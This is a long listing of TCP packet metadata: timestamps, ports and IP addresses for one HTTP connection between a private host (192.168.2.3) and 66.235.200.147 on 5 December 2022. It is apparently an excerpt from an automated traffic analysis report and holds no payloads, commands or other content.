Dec 5, 2022 06:44:36.472049952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472049952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472069025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472074986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472088099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472096920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472106934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472115040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472126007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472131968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472145081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472148895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472161055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472167015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472184896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472184896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472204924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472210884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472223997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472227097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472234964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472244024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472261906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472264051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472280979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472284079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472299099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472301960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472316980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472321033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472335100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472341061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472353935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472357035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472371101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472374916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472389936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472393990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472408056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472413063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472428083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472429991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472445965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472445965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472462893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472465992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472484112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472485065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472502947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472506046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472517967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472522020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472541094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472543955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472558022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472559929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472575903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472577095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472588062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472596884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472614050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472614050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472634077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472636938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472651958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472652912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472670078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472671986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472686052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472691059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472711086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472711086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472728968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472728968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472748995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472748995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472765923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472765923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472784996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472786903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472803116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472804070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472825050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472835064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472852945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472853899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472871065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472875118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472887993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472897053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472906113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472912073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472923040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472929001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472940922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472943068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472958088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472959995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472975969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472981930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.472995043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.472997904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473011017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473014116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.473028898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473031998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.473050117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.473051071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473062992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473067999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.473084927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.473105907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.473129034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490833998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490863085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490891933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490899086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490911007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490931988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490942001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490942001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490952015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490957975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490971088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.490976095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490989923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.490993023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491013050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491015911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491029978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491031885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491053104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491054058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491070986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491075993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491095066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491095066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491115093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491118908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491133928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491133928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491153002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491153955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491174936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491175890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491190910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491194963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491216898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491234064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491242886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491252899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491266012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491271973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491291046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491297007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491311073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491322041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491329908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491347075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491348028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491362095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491373062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491380930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491393089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491399050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491411924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491420031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491432905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491434097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491450071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491451979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491472006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491485119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491492033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491497040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491512060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491513014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491532087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491537094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491548061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491552114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491573095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491590977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491599083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491610050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491621017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491628885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491647959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491652966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491667986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491674900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491688967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491699934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491708040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491713047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491727114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491734028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491745949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491750002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491767883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491775036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491787910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491787910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491808891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491810083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491830111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491831064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491847992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491849899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491863966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491868973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491889000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491893053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491905928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491908073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491925955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491928101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491945982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491945982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491966009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.491970062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491983891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.491986990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492006063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492011070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492022038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492026091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492044926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492048979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492063999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492067099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492083073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492089987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492101908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492103100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492125034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492136955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492144108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492151022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492165089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492173910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492182970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492185116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492203951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492208958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492218971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492225885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492247105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492247105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492266893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492268085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492284060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492289066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492307901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492310047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492330074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492331028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492350101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492355108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492366076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492371082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492389917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492392063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492408991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492414951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492428064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492429972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492449999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492450953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492469072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492475033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492489100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492489100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492507935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492508888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492527008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492530107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492546082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492552996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492566109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492568016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492583036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492587090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492607117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492618084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492625952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492635965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492646933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492649078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492665052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492666006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492687941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492687941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492707968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492722034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492727041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492738962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492747068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492754936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492767096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492768049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492786884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492799044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492805004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492815018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492824078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492826939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492844105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492845058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492861032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492866039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492886066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492891073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492904902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492907047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492923021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492923975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492944002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492949009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492963076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492963076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.492984056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.492996931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493002892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493012905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493022919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493027925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493045092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493046045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493061066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493066072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493086100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493089914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493103027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493104935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493124962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493128061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493144989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.493149996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.493161917 CET	49704	80	192.168.2.3	66.235.200.147
